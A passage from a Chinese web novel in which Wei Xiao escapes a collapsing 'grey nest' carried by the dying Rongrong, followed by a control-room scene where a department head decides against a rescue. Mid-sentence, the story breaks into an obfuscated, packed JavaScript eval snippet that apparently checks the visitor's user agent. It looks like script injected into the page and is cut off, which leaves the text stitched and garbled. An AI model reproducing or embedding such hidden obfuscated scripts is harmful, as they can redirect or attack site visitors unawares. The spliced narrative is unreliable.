“来我背你。”绒绒把枪和护目镜都背到身前,十分吃力地把卫晓从地上架起来,背到背上。 “核心死了。”卫晓的意识起起伏伏,自己都不知道自己是不是在说话,“可以…是不是可以……控制……找门,直接……” “聪明。”绒绒低低地笑了一声,声音咕噜咕噜的,“这个核心认为开门会改变空间,也影响了灰巢,要想……你一打开门就是我们进来的地方,一定要具体知道吗?想象每一个细节,我不行了,靠你了。” “好……”卫晓攥紧了和棍子黏在一起的右手,用疼痛维持住了一线清醒,她牢牢记得进来之后发生的一切,黑洞洞的入口、灰色的走廊,半掩的房间,刚进入灰巢时看到的景象已经刻在了脑髓里。 绒绒压低了身体,深深地呼吸,恍惚间卫晓看见她身上那些交错的伤疤透出了红光,随着呼吸起伏与肌肉收缩闪烁不定。 而贴在绒绒背上,卫晓终于迟钝地发现她的身体滚烫得惊人,异常的温度透过衣物烘烤着她。一点莫名的担忧慢慢浮出,卫晓犹豫了一下,张口欲问。 但她的话没有来得及出口,楼板已经摇摇欲坠,身下的绒绒一动,像离弦之箭般窜了出去。 好快!卫晓抱紧了绒绒的脖子才勉强让自己不被甩出去,周围的物体化作残影,瞬间就被她们远远甩到了身后。眨眼的功夫,绒绒已经往上窜了数层,她背着卫晓左右跳跃,轻巧地借助每一块碎石,以难以想象的迅捷避开摇摇欲坠的废墟,直直冲到了空洞顶端光源所在的楼层,这里受到的波及比较少,不少房间还保持着完整,还有门。 炫目的白光充斥视野,卫晓紧紧闭着眼睛,心无杂念,将全部注意力都集中在了想象上,推开门,走廊,灯光,黑洞洞的入口。 眼前光线一暗,身体猛地一顿,绒绒忽然刹车,然后加速! 哐当!门被狠狠撞开的声音传来,变速太快卫晓直接从绒绒背上飞了出去,撞到了对面的墙上。浓烈的腥甜味道瞬间冲淡,冒泡的思维急速冷却,卫晓睁眼,灯光忽明忽暗,熟悉的走廊和黑色的出口却又无比清晰。 ……成……成功了?卫晓几乎不敢相信她的眼睛,她们这么容易就出来了? “成功了!快走!”卫晓喜出望外,顾不得疼痛,转头就去拉绒绒,“绒绒我们出来了,我们……” 她被烫到般猛地收回了手,不对,她就是被烫到了,绒绒的身体滚烫到了一个可怕的地步,卫晓颤-抖的手刚刚贴上去,下意识就弹了起来。 “你你你...绒绒你...发烧了?”她一时不敢再伸手,僵在了原地。 思维清楚,触觉鲜明,穿过那扇门的瞬间,卫晓就如同混沌初开,世界骤然清晰起来,正因如此她终于从那些模糊的片段中意识到了,似乎那个“核心”,也有超乎常人的、极高的温度。 走廊里只剩远处寥寥几盏灯还在坚持,绒绒身上隐约的红光已经彻底消失了,视野实在是过于昏暗,卫晓咬牙,摸索着去按绒绒的皮肤,她记得那个核心是从伤口处逐渐“化掉”的,化掉,皮肤会有变化的吧,绒绒是哪里受伤了??最后一次见她的时候明明还好好的! 慌乱中一个坚硬的金属磕到了手指上,枪,还有护目镜! 护目镜戴在脸上热烘烘的,视野明亮起来的瞬间,左上角的数字快速地从88降到了70,而绒绒的轮廓被刺眼的红线圈了出来,警示的感叹号疯狂闪烁。 危险! 大大的红字和感叹号一起出现又消失,刺的眼睛生疼,卫晓停下了动作,她不知道这是什么意思,也不知道怎么关掉它,但在闪烁的间隙,她看清了绒绒胸腹处深深的伤痕。 伤口正在融化,已经看不清原来的形状了,不详的褪色像霉菌一样蔓延开来,衣物、皮肤、血,都如煮沸般冒着泡,混合成一摊灰白的液体。 “……你怎么了?”卫晓呆在原地,问了一个很没必要的问题,自从来这里她总是问这样的问题,她好讨厌这样无助的自己。 绒绒只是摇了摇头,从地上爬起来,疲惫地靠在了墙上。 沉默间,有缥缈的叫喊声从旁边半开的门里传出,卫晓一惊,转头望去,门后只有一片混沌。 下面还有人吗? “是那位蓝衣服的队长吧?她很厉害,我打不过她,只是她最后分心了。”绒绒也微微侧头看向门后。 卫晓飞起一脚,把门哐当踹关上,声音彻底消失了。 “不过投胎路上有个伴也挺好。” 绒绒顿了一下,还是继续说到,她的声音还是平静的,就像早就知道自己的结局一样。 “呸呸呸!不要乱说话!”这话就像审判终止时的一记小锤,让那些掩耳盗铃的花架子都轰然倒塌,露出了那个残忍的真相。 “你也要变成核心了吗?你被灰巢影响了吗?”卫晓还不想放弃,拼命回忆着有用的信息,猜测道,眨眼间她身边就只剩下绒绒了,她还杀了人,她一个人出去要怎么面对这个完全陌生的世界呢? 但她的心却越沉越低,卫晓第一次见绒绒露出如此悲伤的表情,她似乎竭力想让自己显得淡然,但力不能及。 “不我不会,我做不到的。”绒绒仰头靠在墙上,说话声中不详的咕噜声越来越响,像是气管里的液体越来越多,“或许是这个核心太执着了,它最后释放了巨量灰质,你看到浓度峰值有多少了吧,我知道的,已经超过我的极限了。” “什么意思……” “所以你真的很特殊。”绒绒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这反派发言算什么,卫晓哭笑不得地想。 “那你就不应该死在这。”她再次尝试把绒绒拉走,“我做不到,我不能改变世界,你要自己去,你这么厉害,怎么能就这么……” 怎么能默默地死在这了呢? 对未来的恐惧暂时退后,幸存者的愧疚开始越来越猛烈地蚕食卫晓的心脏,面对将死的绒绒,卫晓说不出都怪我这种假情假意的话,就像因为牢房四个人能一起进灰巢而感到庆幸一样,她确实强烈地想要活下去,甚至卑劣地为自己的幸存而喜悦。 但相识短短几天的人为自己而死,卫晓的良心受不住,四盒和酥七都已经死了,她怀疑自己要是一个人出去,巨大的愧疚会先毁了她。她有自知之明的,问问遗愿或许只是她在面对难以承受的愧疚时,下意识的逃避罢了。 “……这不是你的错,即使不救你,我出不去,我也不需要你去做什么。”绒绒似乎再一次看出了卫晓在想什么,声音恢复了一如既往的平静与坚定,她甩开了卫晓的手,摸到挂在胸-前的枪,“我很开心我实现了承诺,只希望你好好活下去,再见。” - “还是找不到信号吗?”白色短发的女人披着外套,抱臂站在空无一人的临时控制室里,面前的屏幕显示着大楼黑洞洞的入口,复杂的数字剧烈变换着,最终逐渐稳定。 “还是没有,部长。”男声从角落传来,黑色小卷发的男人扣着面罩和头盔,同时面对着数个闪烁的屏幕,“刚刚联系上01了,它初步判断是人为导致的失控,正在筛查嫌疑人,怀疑是神国的间谍,浓度变化的原因则暂时不明,正在调查中,还有中心的研究员再次建议我们撤离,279大楼的灰质浓度已经超过2.0级,我们所在的距离已经不安全了,还有监控中心来报,北6区有新的危险警报,他们认为由您尽快判断是否处理,还有特别三队的队长又申请了稳定仓需要您审批,还有……。” “……最后护理部让我转述,现在的灰质浓度已经大大超过靛蓝队长的最新上限了,并且...我也无法感知到她了,所以……”他停下手上的动作,小心翼翼地瞟了女人一眼,小声补充了一句。 临时控制室里灯光昏暗,只能看见女人修剪整齐的短发在屏幕的光晕下泛着幽微的金属光泽。大约半小时前,忽然暴涨的灰质浓度溢出大楼,波及到了这里,尽管没有形成灰巢,但还是导致了大部分线路损坏,工作人员也全部紧急撤离。 “数据稳定在88了,我下去找她,白士你通知准备隔离。”女人忽然转头,三两步就到了出口,白士一惊,哐当推开围在面前的一堆屏幕,连滚带爬地挡在了门口。 “部长大人,我觉得这样或许不太行。”隔着头盔,他闷闷的声音透出了显而易见的慌乱与恳求,“我知道这个浓度您没问题,但是楼要塌了,我也真的探查不到她了!而且那么多的眼睛都看着呢,您绝对会被问责的,正是根基不稳的时候啊……” 女人的眼珠是一种白欧珀般五彩斑斓的白色,在昏暗中微微泛着光,她一动不动地盯着白士,一言不发。 “我也很为靛蓝难过,但是......”白士猛地转开了目光,避免与女人对视,他的声音越来越弱,直到细若蚊呐,但还是小声说完了,“但是现在不比从前,她要和您作对的.....不是以前了......” “......好。”不知过了多久,女人最终移开了目光,“让隔离组开始吧。” “明白!”白士长长地舒了一口气,冲回屏幕前开始操作,“那我们也准备撤……有人?” “...有另一个人爬出来了。”